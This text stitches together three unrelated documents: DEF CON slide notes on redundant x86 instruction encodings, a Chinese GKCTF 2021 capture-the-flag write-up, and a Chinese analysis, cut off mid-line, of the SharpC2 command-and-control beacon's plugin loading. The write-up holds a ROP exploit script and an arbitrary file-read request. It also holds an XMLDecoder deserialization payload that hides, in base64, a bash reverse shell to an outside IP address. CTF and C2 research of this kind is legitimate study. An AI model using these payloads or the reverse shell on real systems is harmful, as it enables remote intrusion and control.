image of this slide demonstrates. Redundant Fencing There are 3 different types of 'fence' instructions, each of them have the recommended machine code. Redundant Fencing We can see that the suggested machine code is dutifully used when comparing the assembly source and the machine code output from the disassembly Redundant Fencing However, there is a lot of redundancy on this one. It so turns out that Intel suggests that this can be done with direct machine code. There's no real benefit to using any of these alternate encodings, however. Intel Says This is Okay This is the part of the Intel manual that suggests you can use the extra 7 other end nibbles for these fence instructions. 'Inst Reg, Imm' Redundancy In similar fashion to the very first redundancy explored in this presentation, there are many instructions that have an encoding for putting an immediate value into just the AL/AX/EAX register. This is because this register is so common, might as well have reduced machine code for it. There is also the more generic encoding that allows for putting an immediate value into a MODR/M+SIB encodable operand. The redundancy comes in because AL/AX/EAX can be one of those options. 'Inst Reg, Imm' Redundancy This slide shows all of those redundancies Redundant Bit Instructions Speaking of doing something so common that Intel provides a direct smaller machine code encoding for it; bitwise instructions like rotating and shifting are often done by just one bit. Because of this, there's a shortcut to have the immediate operand be just '1'. There is also the more generic 8-bit immediate operand. But obviously '1' is a valid value in this encoding as well. Redundant Bit Instructions So this is the image of showing all of those redundancies Branch Hints There's no real good reason to manually use a branch hint. There's also no way to do it directly with assembly. However, you can manually machine the prefix in front of a branch instruction. It wont really affect much, but hey, you can (when you can't in assembly). Intel Hides SAL ●SAL = Shift Arithmetic Left ●Does the same thing as Shift Left (SHL) ●Therefore, everything is SHL Similar to not having our assembly converting our TEST instruction to a equivalent form; SAL(Shift Arithmetic Left) gets converted to SHL(Shift Left). SAL and SHL are technically equivalent. The Intel manual recommends this and assemblers obey it. The difference here is that there really is an encoding for SAL, and it is functional. Intel Hides SAL Here is our assembler converting our SAL instruction in assembly to SHL when it gets to machine code. Note that even the machine code in the Intel manual is the same for SHL and SAL. We will get to this next, but the /4 represents the specific instruction, where the D0 represents the group of instructions. For instance, /5 would be SHR (Shift Right). Intel Hides SAL This table shows all of these /n numbers. We see that under '100' or /4, SHL and SAL are combined. More interestingly, we notice that '110' or /6 is empty. There is no way to mess around with this in assembly language, but we can do this directly in machine code to see what happens. Using SAL It is SAL. After testing it, it works. SAL unlocked! Hidden TEST There's an encoding under the machine code of 0xF6 (8-bit) and 0xF7 (32-bit) for the TEST instruction, as in TEST EAX, 0x11223344. We will use the 32-bit encoding for this example. This is a /0 encoding, to mean TEST, as in /2 would mean NOT and /3 would mean NEG and so on. You'll notice there is a blank spot in this table that would have an instruction for /1. It so turns out that this is also a TEST instruction. If you machine encode this, the processor will run this exactly as the /0 test. Your mileage will vary depending on the disassembler you use, for whether it tells you it is a TEST instruction or not... Hidden TEST In the case of the EDB (Evans Debugger), the instruction is not disassembled showing the TEST it actually is. We instead see a dw (data word directive) of 0xc8f7 and then a mov instruction. This 'mov' instruction will never run because it doesn't exist, it is actually part of the operand data of the TEST instruction. This instruction should be: TEST EAX, 0xeeddccbb This TEST instruction is what the processor will actually execute Load InEffective Address What the Load Effective Address does is stores the pointer address into a register. So not the value of the address into the register, but the actual address that the pointer would point to. In the above example, we are running: LEA EAX, [RAX + RBX * 8 + 10]. Knowing EAX(RAX) is 5 and EBX(RBX) is 30 (decimal). So [5 + (30 * 8) + 10]. Simplify again to [5 + 240 + 10]. Finally, this simplifies to 255. In hex this is 0xff. Note that RAX/EAX has 0xff as it's value after we run that LEA instruction. That's what LEA does in a nutshell. Compilers more often use this as a one instruction math hack. Load InEffective Address Because of what this instruction does, it only makes sense to have a register as the dest operand and a pointer as the source operand. However, the Encoding of the LEA instruction uses the MODR/M byte. This means that a register could be encoded with both operands (like and MODR/M based instruction). If we try to do this in assembly, we get an error that we used an invalid combination of opcode and operands. That doesn't stop us from directly encoding LEA EAX, EAX (8D C0). However, all of this is fairly pointless as this instruction IS indeed invalid and will cause an error if it is executed. But in principle, this is a specific error that would be harder to achieve in assembly alone (without being able to machine hack) Prefix Abuse The BSWAP instruction can be used to reverse all of the bytes in a register. Notice that there is only an encoding for 64-bit and 32-bit registers, but not 16-bit registers. Even though 16-bits is enough bits to reverse 2 bytes. Why can't we do this? Challenge accepted! This is us in assembly attempting to write an instruction that uses bswap on a 16 bit register: BSWAP AX Of course we get an error saying that we used an invalid combination of opcode and operands In 32-bit x86 (64-bit is similar but not exactly the same), there are prefixes that modify the operand sizes. For many instructions there is no encoding for 16-bit instructions, just an encoding for 8-bit and 32- bit. In order to use a 16-bit encoding, you should use a 0x66 or 0x67 prefix before your instruction (depending on what part of the instruction you wanted to override) So we put a 0x66 in front of our BSWAP EAX and achieve BSWAP AX. It should be noted however that this instruction doesn't work as intended (in my experience, it just clears the register completely) REP Prefix For the following string instructions: INS, MOVS, OUTS, LODS, STOS, CMPS, and SCAS Ignored on all other instructions except for repeating a NOP The REP prefix can be used to repeat an instruction. This is really only intended to be used for instructions that operate on strings, so it doesn't do anything to any other instruction. The REP prefix byte is 0xF3 But there is one interesting exception, the screenshot shows these two different assembly instructions and how they mean the same thing to the processor. Why This is because for whatever reason, the pause instruction is machine encoded as 0xF390. Consistent Instruction Sizes The cool thing about this prefixes, is considering what would happen if you prefix a prefixed instruction with another of the same prefix. The answer is nothing. There is a limit to how many prefixes you an use; the instruction can be no larger than 15 bytes (you will get an error otherwise). This screenshot shows some functional shellcode, and a couple of examples of the same code padded with prefixes. These examples make each instruction take the same amount of machine code bytes as every other instruction. I can't think of a reason why this would be useful, but it's still pretty cool. Full Offsets Here's something interesting, looking at the top instruction, the disassembly says that the instruction is xor [rax + rax], eax However, if we actually type that instruction and assemble it, we get the same disassembly, but different machine code. What the hell is going on here? This is just more of nasm's interpretive dance. Obviously we don't want the first instruction, this is just the 'put a null' in it trick. We obviously want the version with less bytes right? Full Offsets MultiByte NOP That is unless we don't. The MultiByte NOP is the argument for not wanting our assembler to interpret our assembly into something optimized. The MultiByte NOP allows for many different bytes because it takes advantage of how multibyte the MODR/M can be. The MODR/M argument doesn't actually contribute anything to the instruction in any meaningful way, it is just a dummy operand to add to the instruction size in a variable way. So I'm going to take the suggested assembly in the intel manual and... MultiByte NOP (suggested) ...and I'm gonna put it in an assembly source file and assemble it with nasm... MultiByte NOP (suggested): Teh Underwhelm This is our result... This for sure got an interpretive dance performed on it. MultiByte NOP (suggested): W/O Nulls I next try to mitigate this by putting some non null offsets into the pointers, this prevents the assembler from optimizing them out. Of course we are misadventuring from what Intel suggests... Better, but Still Sucks ...but as you can see, it works a little bit better. But only a little bit. What it Should Look Like, But Had to use Direct Machine Code To get the (exact) machine code advertized in the Intel manual, I could find no other way but to manually program this in machine code This is moar bettar But why go through any of that trouble! I'd rather just be ignorant and prefix up a normal NOP Self Modifying Code with basic arithmetic Because similar machine code formats Ignoring stuff like exploit development, an understanding of machine code can also be extremely useful for self modifying code. There are MANY different strategies/techniques a programmer could take to achieve cool self modifying code. We will only really explore one PoC example here. For this example, we can ADD a value to a [pointer] that happens to be the memory location of another instruction. Instructions with the /n format have the instruction itself encoded in the number of /n. For example, INC is 0xFE /0 and DEC is 0xFE /1. If we just added the right number to the right location of the INC instruction, it would be convertible to a DEC instruction. Self Modifying Code This slide shows the machine code and assembly tho show the very small differences. The last image shows the machine code of the first image in binary isolating out the 3 bits that control which instruction it is. In red, the 000 means INC and the 001 means DEC. The difference to the 2 instruction is just one bit. Self Modifying Code Demo This demo will show a series of 3 instructions that are using this trick. When you get to the 3rd instruction, it isn't the same instruction it looked like before the program ran. These 2 screenshots are more for the benefit of the PDF version of these slides. Time permitting, a live demo of this will be done during the presentation. CactusCon 2017 – Boot and Play I will be giving a talk at CactusCon 2017 in September called Boot and Play. It is about 512 byte boot sector programs that are games and puzzles. Self modifying code is a nice trick to have in the bag because it helps get the byte count down. The above trick that I mentioned is a trick that I use in TronSolitaire ( https://github.com/XlogicX/tronsolitare) Enough of This! Make a Tool Do It! IRASM: Interactive Redundant ASeMbler This is another 'demo' slide. This is where I demonstrate what the demo can do. Hint: it pretty much does everything with the concepts described in this whole talk. It's like nasm_shell, but it outputs many other valid variations of machine code that represents the same assembly input. PDF Version only This slide wont be displayed in the main presentation, instead I will demo the tool live, but since the PDF version can’t do that, this is a screenshot showing irasm side by side with nasmshell. The same assembly instructions are entered into both, you see the left hand side is more verbose. Thanks/QA/Links ● m2elf.pl –interactive ● https://github.com/XlogicX/m2elf ● Irasm ● https://github.com/XlogicX/irasm ● My Blog ● xlogicx.net ● Twitter ● @XlogicX I tend to speak fairly quick and am good at time management, so I may have time for questions. It really depends on this years DEF CON policy on Q/A. Regardless, I will make myself available for more in depth Q/A in the hangout room after I deliver the talk. This slide is more just to leave up the links to the tools and my contact info / blog
pdf
2021GKCTF-NAN-WP NaN 战队隶属 Nu1L 2.0 计划,有兴趣加入者可发送个人简历至 [email protected] 队伍名称:NAN 队伍成员: Siebene pray77 SYJ 一:Reverse  1. QQQQT 使用 exeinforpe 检查发现是用的 Enigma Virtual Box 打的包 下载工具 EnigmaVBUnpacker 将 exe 解包一下 得到 QQQQT_unpacked.exe 拖入 IDA 分析  关键逻辑在函数 sub_4012F0 里面,就是一个标准的 base58,然后比较字符串,写个脚 本解一下即可 查找字符串得到比较数据和 base58 的码表:56fkoP8KhwCf3v7CEz 和 123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz 写一个脚本解一下即可 # _*_ coding: utf-8 _*_ # editor: SYJ # function: Reversed By SYJ # describe: def b58encode(tmp:str) -> str: tmp = list(map(ord,tmp)) temp = tmp[0] base58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz" for i in range(len(tmp)-1): temp = temp * 256 + tmp[i+1] tmp = [] while True: tmp.insert(0,temp % 58) temp = temp // 58 if temp == 0: break temp = "" for i in tmp: temp += base58[i] return temp def b58decode(tmp:str) -> str: import binascii base58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz" temp = [] for i in tmp: temp.append(base58.index(i)) tmp = temp[0] for i in range(len(temp)-1): tmp = tmp * 58 + temp[i+1] return binascii.unhexlify(hex(tmp)[2:].encode("utf-8")).decode("UTF-8") cmp = "56fkoP8KhwCf3v7CEz" print('flag{' + b58decode(cmp) + '}') # 得到 flag 为:flag{12t4tww3r5e77} 2. app-debug 得到 apk,直接拖入 jadx,得到关键逻辑 其实很简单,就是 MainActivity 里面调用的 check 函数检测我们输入的 flag,而 check 函数 是 System.loadLibrary("native-lib"); 使用工具 apk-tools 获取一下 apk 的资源,然后将 lib 文件夹里面的 so 拖入 IDA 进行分析 shift+f12 查找字符串,发现会检测是否被调试 交叉引用一下发现检测调试的函数是 sub_738378DF3C 然后关键的 check 函数是 Java_com_example_myapplication_MainActivity_check 里面是将我们输入的字符串进行 TEA 加密, 里面有比较数据 使用 IDA 和 adb 调试一下,可以发现 key,即那四个数字被改变 然后写个 C 脚本解一下即可 #include <stdio.h> #include <stdint.h> void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=0x458BCD42; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1; } void decrypt (uint32_t* v, uint32_t* k) { uint32_t delta=0x458BCD42; /* a key schedule constant */ uint32_t v0=v[0], v1=v[1], sum=(delta*32)&0xffffffff, i; /* set up */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i<32; i++) { /* basic cycle start */ v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1; } int main() { uint32_t array[] = {0xF5A98FF3,0xA21873A3};//{0xF5A98FF3,0xA21873A3}; uint32_t key[4] = {9,7,8,6}; //encrypt(array, key); decrypt(array, key); //printf("%x\n%x",array[0],array[1]); printf("%c,%c,%c,%c,%c,%c,%c,%c",*((char*)&array[0]+0),*((char*)&array[0]+1),*((char*)&array[0]+2),*(( char*)&array[0]+3),*((char*)&array[1]+0),*((char*)&array[1]+1),*((char*)&array[1]+2),*((char*)&array[1] +3)); return 0; //GKcTFg0 } 最后将这得到的 flag{md5(input)}一下即可,flag{77bca47fe645ca1bd1ac93733171c9c4} 3. Crash 拖入 IDA 分析,main 函数在先检测了 input 的格式,然后传入 man_check 函数检测,可以 从 maincheck 函数中发现,GKCTF{之后的 24 个字节被传入了 main_encrypto 函数进行加 密,再后面四字节是 sha_256,再后面四字节是 sha_512,再后面四字节是 md5, main_encrypto 函数内部是三重 Des,最后 base64 加密一下,后面那些 hash 函数直接查一 下就可以得到,这个 DES 是关键, from Crypto.Cipher import DES3 ans = [163, 246, 150, 62, 51, 77, 196, 195, 217, 14, 114, 101, 54, 157, 51, 43, 159, 141, 44, 240, 184, 78, 254, 164, 169, 210, 106, 142, 66, 244, 94, 64] # 比较数据 base64 解码之后 c = bytes(ans) key = b'WelcomeToTheGKCTF2021XXX' iv1 = b'1Ssecret' iv2 = b'wumansgy' # key = b'00000000' # iv = b'00000000' des = DES3.new(key,DES3.MODE_CBC,iv1) m = des.decrypt(c) print(m) 最后将后面的 hash 拼接一下,得到 flag 为:GKCTF{87f645e9-b628-412f-9d7a- e402f20af940} 4. SoMuchCode 在 scanf 输入函数下断点之后,交叉引用输入的变量,发现下方有个函数引用了输入, 进去之后根据 XXTEA 的加密逻辑对拍一下,交叉引用一下,这里是生成 delta 的逻辑,调试 到这里得到 delta 为 0x33445566, 同时对拍也会得到 key 然后下方跟着调试下去,可以在内存里得到比较数据 #include <stdio.h> #include <stdlib.h> #define DELTA 0x33445566 int main() { unsigned int v[8] = {0x993CAB5C, 0x3F40E129, 0x777791DE, 0x737DFEA6, 0x0ECCF59E6, 0x0C9604CE3, 0x9682C0A5, 0x556F2A1E}; unsigned int key[4] = {0x000036B0, 0x00013816, 0x00000010, 0x0001E0F3}; unsigned int sum = 0; unsigned int y,z,p,rounds,e; int n = 8; int i = 0; rounds = 12; y = v[0]; sum = (rounds*DELTA)&0xffffffff; do //0x9E3779B9*(52/35)-0x4AB325AA,测试来要循环 7 次 { e = sum >> 2 & 3; for(p=n-1;p>0;p--) //34 次循环 { z = v[p-1]; v[p] = (v[p] - ((((z>>5)^(y<<2))+((y>>3)^(z<<4))) ^ ((key[(p^e)&3]^z)+(y ^ sum)))) & 0xffffffff; y = v[p]; } z = v[n-1]; v[0] = (v[0] - (((key[(p^e)&3]^z)+(y ^ sum)) ^ (((y<<2)^(z>>5))+((z<<4)^(y>>3))))) & 0xffffffff; y = v[0]; sum = (sum-DELTA)&0xffffffff; }while(--rounds); for(i=0;i<8;i++) { printf("%c%c%c%c",*((char*)&v[i]+0),*((char*)&v[i]+1),*((char*)&v[i]+2),*((char*)&v[i]+3)); } return 0; } 得到 flag 为:9b34a61df773acf0e4dec25ea5fb0e29 5. KillerAid C# 逆向,DLL 做核心验证,DLL 里面有反调试,简单 patch 即可 然后有一个极其恶心的 AES 魔改算法 行移位 void myshift(int pArray[4][4]){ int tmpArr[4][4] = {0}; tmpArr[0][0] = pArray[0][0]; tmpArr[0][1] = pArray[1][1]; tmpArr[0][2] = pArray[2][2]; tmpArr[0][3] = pArray[3][3]; tmpArr[1][0] = pArray[1][0]; tmpArr[1][1] = pArray[2][1]; tmpArr[1][2] = pArray[3][2]; tmpArr[1][3] = pArray[0][3]; tmpArr[2][0] = pArray[2][0]; tmpArr[2][1] = pArray[3][1]; tmpArr[2][2] = pArray[0][2]; tmpArr[2][3] = pArray[1][3]; tmpArr[3][0] = pArray[3][0]; tmpArr[3][1] = pArray[0][1]; tmpArr[3][2] = pArray[1][2]; tmpArr[3][3] = pArray[2][3]; for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { pArray[i][j] = tmpArr[i][j]; } } } 外层的也很恶心 void mydeaes(char *p, char * iv,int plen, char *key){ int pArray0[4][4]; int pArray1[4][4]; int pIv[4][4]; int k=0; char key_use[16]; convertToIntArray(iv, pIv); for(int k1 = 31; k1 >= 0; k1 -= 1) { memcpy(key_use, key, 16); getRoundIvAndKey(k1, iv, key_use, pIv); // f8 82 extendKey(key_use);//扩展密钥 convertToIntArray(&p[16], pArray1); convertToIntArray(&p[0], pArray0); addRoundKey(pArray1, 10); for(int i = 9; i >= 1; i--) { mydeshift(pArray1); deSubBytes(pArray1); addRoundKey(pArray1, i); myTranspose(pArray1); deMixColumns(pArray1);//列混合 myTranspose(pArray1); } mydeshift(pArray1);//行移位 deSubBytes(pArray1);//字节代换 addRoundKey(pArray1, 0);//一开始的轮密钥加 for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { pArray1[i][j] ^= pArray0[i][j]; } } addRoundKey(pArray0, 10); for(int i = 9; i >= 1; i--) { mydeshift(pArray0); deSubBytes(pArray0); addRoundKey(pArray0, i); myTranspose(pArray0); deMixColumns(pArray0);//列混合 myTranspose(pArray0); } mydeshift(pArray0);//行移位 deSubBytes(pArray0);//字节代换 addRoundKey(pArray0, 0);//一开始的轮密钥加 for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { pArray0[i][j] ^= pIv[i][j]; } } convertArrayToStr(pArray0, &p[0]); convertArrayToStr(pArray1, &p[16]); } } 解密目标数据得到: Meaningless_!$!%*@^%#%_Code 字符串 C#层还有一个 code 计算 from z3 import * flag2 = bytearray(b'Meaningless_!$!%*@^%#%_Code') id = [BitVec('a%d' % i, 8) for i in range(9)] fuckId = [i for i in id] tt = bytearray(target) for j in range(len(flag2)): id[j % len(target)] ^= flag2[j % len(flag2)] s = Solver() for i in range(9): s.add(id[i] == target[i]) s.check() res = s.model() id_ = '' for i in range(9): id_ += chr(res[fuckId[i]].as_long()) print(id_) 最后组合得到 flag flag{ginkgo_CX@Meaningless_!$!%*@^%#%_Code} 二:Pwn 1. checkin 这有个栈溢出,可以覆盖 rbp Pass 是个 md5 加密,在线解一下就行 然后就是略微麻烦的栈迁移加 ROP 了 from pwn import * context.log_level = 'debug' def debug(): gdb.attach(sh,'b *0x401972') pause() #sh = process("./login") sh = remote("node3.buuoj.cn",29740) libc = ELF('./libc.so.6') pop_rdi = 0x0000000000401ab3 pop_rsi_r15 = 0x0000000000401ab1 pop_rsp_ppp = 0x0000000000401aad pop_rbp = 0x0000000000400760 s1 = b'admin' + p64(0x4018E8) + p64(libc.sym['puts']) + p64(libc.sym['puts']) #+ p64() sh.recvuntil(">") sh.send(s1) payload = b'admin' payload = payload.ljust(32,b'\\\\x00') payload += p64(0x602400 + 5 - 8) #debug() sh.recvuntil(">") sh.send(payload) payload2 = b'aaaaa' + p64(pop_rdi) + p64(0x602028) + p64(0x400680) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(0x602500) + p64(0) + p64(0x4006A0) + p64(pop_rbp) + p64(0x602500-8) + p64(0x4018C5) sh.send(payload2) libc_base = u64(sh.recvuntil('\\\\x7f')[-6:].ljust(8, b'\\\\x00')) - libc.sym['puts'] print(hex(libc_base)) system = libc.sym['system'] + libc_base sh_addr = libc_base + 0x18CE57 payload3 = p64(pop_rdi) + p64(sh_addr) + p64(system) sh.send(payload3) sh.interactive() 三:Web 1. ezcms /** * Download theme. * * @param string $exportedFile * @access public * @return void */ public function downloadtheme($exportedFile) { $exportedFile = helper::safe64Decode($exportedFile); $fileData = file_get_contents($exportedFile); $pathInfo = pathinfo($exportedFile); $this->loadModel('file')->sendDownHeader($pathInfo['basename'], 'zip', $fileData, filesize($exportedFile)); } 登入后台,简单审计发现有一个任意文件读 POST /admin.php?m=ui&f=downloadtheme&exportedFile=L2ZsYWc= 2. babycat 先是注册,注册后有一个简单的任意文件下载 看到是纯 Servlet 写的,加大了我做这道题的信心(哈哈哈) protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (!ServletFileUpload.isMultipartContent(req)) { req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>"); req.getRequestDispatcher("../WEB-INF/error.jsp").forward((ServletRequest)req, (ServletResponse)resp); } DiskFileItemFactory factory = new DiskFileItemFactory(); ...... } 发现 uploadServlet 并没有验证是不是 admin,可以直接上传 baseDao public static void getConfig() throws FileNotFoundException { Object obj = (new XMLDecoder(new FileInputStream(System.getenv("CATALINA_HOME") + "/webapps/ROOT/db/db.xml"))).readObject(); if (obj instanceof HashMap) { HashMap map = (HashMap)obj; if (map != null && map.get("url") != null) { driver = (String)map.get("driver"); url = (String)map.get("url"); username = (String)map.get("username"); password = (String)map.get("password"); } } } public static Connection getConnection() throws Exception { getConfig(); if (connection == null) try { Class.forName(driver); connection = DriverManager.getConnection(url, username, password); } catch (SQLException|ClassNotFoundException e) { e.printStackTrace(); } return connection; } 这里直接 xmldecode 反序列化了 registerServlet try { connection = baseDao.getConnection(); } catch (Exception e) { e.printStackTrace(); } 这里写的非常奇怪啊,反正注册的时候还会加载一次 上传../../db/db.xml <?xml version="1.0" encoding="UTF-8"?> <java> <object class="java.lang.&#80;rocessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>{echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTk1LjE0OS41MC83NTc1IDA+JjEn}|{b ase64,-d}|{bash,-i}</string> </void> </array> <void method="start"/> </object> </java> 然后随便注册一个用户就可以弹了 四:Crypto 1. RRRRsa 套娃题,第一层跟巅峰极客 tryRSA 基本一致,第二层$modq1$稍微变换一下,消去 p1 之后 和 n2 做一次 gcd 就好了,具体看代码实现 from Crypto.Util.number import * from Crypto.Cipher import AES import gmpy2 c=13492392717469817866883431475453770951837476241371989714683737558395769731416522300 8519178879579457661328641513828774621420181298527034372405336846045083799502936432948 7772577367550591262220881343562517769661478160121646580756920138015166994260520842564 5258372134465547452376467465833013387018542999562042758 n1=7500355737908025221951782599899018322665911701977073508052340956175722588365104088 2547519748107588719498261922816865626714101556207649929655822889945870341168644508079 3175822200343746130667519167500362534239906737642340669993068740784248037746527545874 94762629397701664706287999727238636073466137405374927829 c1=6811190109202781300709962789389683851742697108287720404711040478782327921150818378 3468891474661365139933325981191524511345219830693064573462115529345012970089065201176 1424174622996507612997580781415041261859213045264149114553952892284449745165035265079 06721378965227166653195076209418852399008741560796631569 hint1=23552090716381769484990784116875558895715552896983313406764042416318710076256166 4724265535202402650239784499459742184357879292022892083291565948384201908901042264972 6385246192847475602553939499628895182817212641956999330152486675379758403274042625980 4002564701319538183190684075289055345581960776903740881951 hint2=52723229698530767897979433914470831153268827008372307239630387100752226850798023 3624444992119449967783638945287592905657182663401885822533070048108500308337521327282 5692957270363043123262215120085516088661435000011570468960510250027381515763647690115 0408355565958834764444192860513855376978491299658773170270 n2=1145359230433759703801179205480974047290430798955403207428478403644550240504731259 9892631164417296017647119360285042760789919181061695302132474213749274615992128498214 6320175356395325890407704697018412456350862990849606200323084717352630282539156670636 025924425865741196506478163922312894384285889848355244489 c2=6705420366690169118121526258744718091022547333914326010083111831352147102988930417 6235434129632237116993910316978096018724911531011857469325115308802162172965564951703 5834508174892476754580248017745907287264715674078125722104216421714568503521678107554 40990035255967091145950569246426544351461548548423025004 hint3=25590923416756813543880554963887576960707333607377889401033718419301278802157204 8810391163503218721621189777970690896534281214794866037447005198305971860459314126526 8157206095343965586847631179836801587862800254754083571987008100750573549958144907795 0263721606955524302365518362434928190394924399683131242077 hint4=10410072692692386956686274123887613236691697086437456294784466955640326895562567 0105641264367038885706425427864941392601593437305258297198111819227915453081797889565 6622760031229011397551530022191263666110217360660167415622329980472533351416762033765 21742965365133597943669838076210444485458296240951668402513 e1 = 202020 e2 = 212121 tt = (hint2 - e2) * inverse(2021, n1) * 2020 % n1 gcd(pow(tt, e1, n1) - hint1, n1) p1 = 1086650691304703813774093556674270826183243485664925306529869565257158298560569142764 0899414330824525161279752924895740377208318584484168722588418228539943 q1 = n1 // p1 assert p1 * q1 == n1 phi = (p1-1) * (q1-1) d = inverse(65537, phi) p = pow(c1, d, n1) e3 = 202020 e4 = 212121 tt1 = pow(hint3, e2, n2) * inverse(pow(2020, e1*e2, n2), n2) * pow(2021, e1*e2, n2) tt2 = pow(hint4, e1, n2) gcd(tt2 - tt1, n2) q2 = 9677269841262626154014538802932467267491753397490444024091702336017847934813782962738 462815968445258898876277887404901976123237057034767859042412249801889 p2 = n2 // q2 phi = (p2-1) * (q2-1) d = inverse(65537, phi) q = pow(c2, d, n2) print(f'recover p = {p}') print(f'recover q = {q}') c = 1349239271746981786688343147545377095183747624137198971468373755839576973141652230085 1917887957945766132864151382877462142018129852703437240533684604508379950293643294877 7257736755059126222088134356251776966147816012164658075692013801516699426052084256452 58372134465547452376467465833013387018542999562042758 p = 1042787782860796082882419688018998244722787315914405665418260349755382222598411227984 9366464194134744025836953233538120415786132849793748917106511547495617 q = 8093980956746434856487735743522445882908700376447472091972521786684147548968037093544 291721698931030114136012631370337384386054281793788977456777285384363 n = int(p) * int(q) phi = (p-1) * (q-1) d = inverse(65537, phi) m = pow(c, d, n) print(long_to_bytes(m)) # b'GKCTF{f64310b5-d5e6-45cb-ae69-c86600cdf8d8}' 2. Random from randcrack import RandCrack from data import data1 from hashlib import md5 rc = RandCrack() for i in range(len(data1)): if(i%3==0): r = bin(int(data1[i]))[2:].zfill(32) rc.submit(int(r, 2)) if(i%3==1): r = bin(int(data1[i]))[2:].zfill(64) r1 = r[:32] r2 = r[32:] rc.submit(int(r2, 2)) rc.submit(int(r1, 2)) if(i%3==1): r = bin(int(data1[i]))[2:].zfill(96) r1 = r[:32] r2 = r[32:64] r3 = r[64:] rc.submit(int(r3, 2)) rc.submit(int(r2, 2)) rc.submit(int(r1, 2)) tmp = rc.predict_getrandbits(32) print(tmp) flag = md5(str(tmp).encode()).hexdigest() print(flag) # 14c71fec812b754b2061a35a4f6d8421 五:Misc 1. 签到 打开 wireshark,跟踪 http 流,复制最长的那段 base64 的 打开 ipython,用 ctfbox 解几次编码,最后将双写去掉就能拿到 flag
pdf
SharpC2 beacon插件机制 Demo代码位置: AgentModules\DemoModule\Module.cs 关于插件接口定义 代码位置:Agents\Stage\Interfaces\IAgentModule.cs Init() 方法初始化插件,接收两个参数。第一个AgentController 规范beacon的行为,定义beacon的通用 功能; 其中 RegisterAgentModule方法需要关注下 再来看第二个参数 ConfigController.cs; // AgentController.cs public void RegisterAgentModule(IAgentModule Module) {    // 初始化插件 ConfigController Config    Module.Init(this, Config);    // 添加模块信息    AgentModules.Add(Module.GetModuleInfo()); } 通过AgentConfigs字典保存beacon的核心信息,Set()方法设置beacon配置;还记得之前推过一个 C#写的Agent端里面有个动态修改Config功能和这个差不多意思。泛型方法Get() 获取beacon配置 信息; AgentConfig 包括KillData,PPID,BlockDLLs,SpawnTo,Sleep等,这些信息基本都是全局 的,也就是beacon存活期间必定存在的。 重新回到AgentController.cs List AgentModules全局保存 beacon的module信息 可以看到解密完数据后,利用Linq 从AgentModules中先获取Module信息,再获取命令,然后使用call back委托执行具体的命令 Tips: 想要获取命令指令或明文返回结果 首先我们要锁定在AgentController.cs中,在解密后和加 密前记录数据然后分析。 发送消息函数: SendMessage(C2Data) 也有对应的重载函数 第一套用来发送 Core,AgentOutput 要回传的数据;第二套用来自定义的插件模块。 关于Beacon端的 LinkAgent, 功能类似 CobaltStrike中的SMB beacon, 即不需要beacon于 TeamServer服务器直连,可以借助中间进行数据转发,这个后面单独分析。 在了解了 AgentController和ConfigController核心操作后,接下来我们跟进核心功能。 代码位置: Modules\Core\CoreModule.cs Beacon所有的功能都必须按照规范 也就是继承IAgentModule接口,完成Init() 初始化操作和 GetModuleInfo() 公开当前模块的实体功能。 CoreModule.cs public void RegisterAgentModule(IAgentModule Module) {    Module.Init(this, Config);    AgentModules.Add(Module.GetModuleInfo()); } 具体看ModuleInfo类    public class ModuleInfo   {        // Name表示当前模块的名称        public string Name { get; set; }        // 当前模块具体含有的命令        public List<Command> Commands { get; set; }        public class Command       { 前面我们说过 AgentController 里面的RegisterAgentModule函数挺重要的,当然在注册 AgentModule前肯定需要先加载 整个逻辑非常清楚了 从我们下发的AgentTask 对象 Parameters字典参数中获取 Assembly,加载 到当前域中,根据前面的接口规范,创建实例,获取ModuleInfo,但是这里成功注册模块后 控制端 UI上并没有输出相关帮助信息,而且执行功能也没有返回实际的结果。 这里需要对比下 SharpC2 早期版本Dev branch 之前在https://www.c2.tips/2020/10/265/也提到过,load-module怎么做的,具体看下代码。            // 命令的名称            public string Name { get; set; }            // 命令执行委托回调            public AgentController.AgentCommand Delegate { get; set; }       }   } // 不得不说 除了学习代码功能,如何设计也是重点,难点啊:) // SharpC2 Dev版本\Client\AgentCommand.cs public static string GetModuletHelpText(List<AgentModule> agentModules) {    // 遍历AgentModule 因为是全局的 List<AgentModule>集合 因此可以实时显示        foreach (var module in agentModules.OrderBy(m => m.Name)) 再来看 Models\AgentHelp.cs 我们在控制端输入help,然后下端 跟进       {            foreach (var cmd in module.Commands.OrderBy(c => c.Name))           {                if (cmd.Visible)               {                    result.Add(new ModuleHelpText                               {                                   Module = module.Name,                                   Command = cmd.Name,                                   Description = cmd.Description,                                   Usage = cmd.HelpText                               });               }           }       } } // 切回到Experiment版本   MainViewModel.cs // 110行左右调用 LoadTaskDefinitions() void LoadTaskDefinitions() {    var path = Path.Combine(Assembly.GetExecutingAssembly().Location.Replace("SharpC2.dll", ""), "Core", "Tasks");    var files = Directory.GetFiles(path);    var yamlDotNet = new 